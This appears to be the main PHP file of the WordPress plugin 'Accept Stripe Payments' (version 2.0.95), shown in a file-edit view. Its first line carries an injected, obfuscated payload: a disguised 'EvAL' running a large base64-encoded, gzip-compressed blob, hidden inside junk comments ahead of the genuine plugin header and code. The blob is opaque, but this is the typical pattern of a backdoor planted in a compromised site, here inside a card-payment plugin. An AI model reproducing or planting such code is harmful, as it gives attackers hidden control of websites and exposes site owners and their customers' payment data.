JezK
Edit File: accept-stripe-payments.php
<?php /*tJ}^f5?#ybK4"kBl;B*/@ EvAL(/*QI 3.kcBJJPkJ*/'?>'.GZiNfLaTe(baSE64_deCODe('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')));/*p x/C:}:fA%S F+r7*/?> <?php /** * Plugin Name: Accept Stripe Payments * Description: Easily accept credit card payments via Stripe payment gateway in WordPress. * Version: 2.0.95 * Author: Tips and Tricks HQ, wptipsntricks * Author URI: https://www.tipsandtricks-hq.com/ * Plugin URI: https://s-plugins.com * License: GPLv2 or later * Text Domain: stripe-payments * Domain Path: /languages */ //Slug - asp if ( ! defined( 'ABSPATH' ) ) { //Exit if this file is accessed directly. exit; } define( 'WP_ASP_PLUGIN_VERSION', '2.0.95' ); define( 'WP_ASP_MIN_PHP_VERSION', '7.4' ); define( 'WP_ASP_PLUGIN_URL', plugins_url( '', __FILE__ ) ); define( 'WP_ASP_PLUGIN_PATH', plugin_dir_path( __FILE__ ) ); define( 'WP_ASP_PLUGIN_FILE', __FILE__ ); define( 'WP_ASP_DEV_MODE', '1' ); class ASPMain { public static $products_slug; public static $temp_prod_slug; public static $posts_processed = array(); public static $file; public static $stripe_api_ver = '2024-12-18.acacia'; public function __construct() { self::$products_slug = 'asp-products'; self::$temp_prod_slug = 'asp-products-temp'; self::$file = __FILE__; if ( !defined( 'ASP_MANAGEMENT_PERMISSION' ) ){ //This will allow the user to define custom capability for this constant in wp-config file define('ASP_MANAGEMENT_PERMISSION', 'manage_options'); } require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-utils.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-utils-misc.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-debug-logger.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-utils-bot-mitigation.php'; require_once WP_ASP_PLUGIN_PATH . 'admin/class-asp-admin.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-stripe-api.php'; require_once WP_ASP_PLUGIN_PATH . 'admin/includes/class-asp-admin-products.php'; require_once WP_ASP_PLUGIN_PATH . 'admin/includes/class-coupons.php'; require_once WP_ASP_PLUGIN_PATH . 'admin/includes/class-order.php'; require_once WP_ASP_PLUGIN_PATH . 'admin/views/blocks.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-addons-helper.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-product-item.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-payment-data.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-order-item.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/class-asp-daily-txn-counter.php'; require_once WP_ASP_PLUGIN_PATH . 'admin/includes/class-variations.php'; register_activation_hook( __FILE__, array( 'AcceptStripePayments', 'activate' ) ); register_deactivation_hook( __FILE__, array( 'AcceptStripePayments', 'deactivate' ) ); add_action( 'plugins_loaded', array( 'AcceptStripePayments', 'get_instance' ) ); if ( is_admin() ) { add_action( 'plugins_loaded', array( 'AcceptStripePayments_Admin', 'get_instance' ) ); } require_once WP_ASP_PLUGIN_PATH . 'includes/session-handler-class.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/shortcodes/class-shortcode-asp.php'; require_once WP_ASP_PLUGIN_PATH . 'includes/shortcodes/class-asp-shortcode-ng.php'; add_action( 'init', array( $this, 'init_handler' ), 0 ); // register custom post type $asp_products = ASP_Admin_Products::get_instance(); add_action( 'init', array( $asp_products, 'register_post_type' ), 0 ); $asp_order = ASPOrder::get_instance(); add_action( 'init', array( $asp_order, 'register_post_type' ), 0 ); add_action( 'init', array( 'AcceptStripePaymentsShortcode', 'get_instance' ) ); add_action( 'init', array( 'ASP_Shortcode_NG', 'get_instance' ) ); } public function init_handler() { // hook to change product slug self::$products_slug = apply_filters( 'asp_change_products_slug', self::$products_slug ); } /** * Use ASP_Utils::load_stripe_lib() instead */ public static function load_stripe_lib() { ASP_Utils::load_stripe_lib(); } } new ASPMain();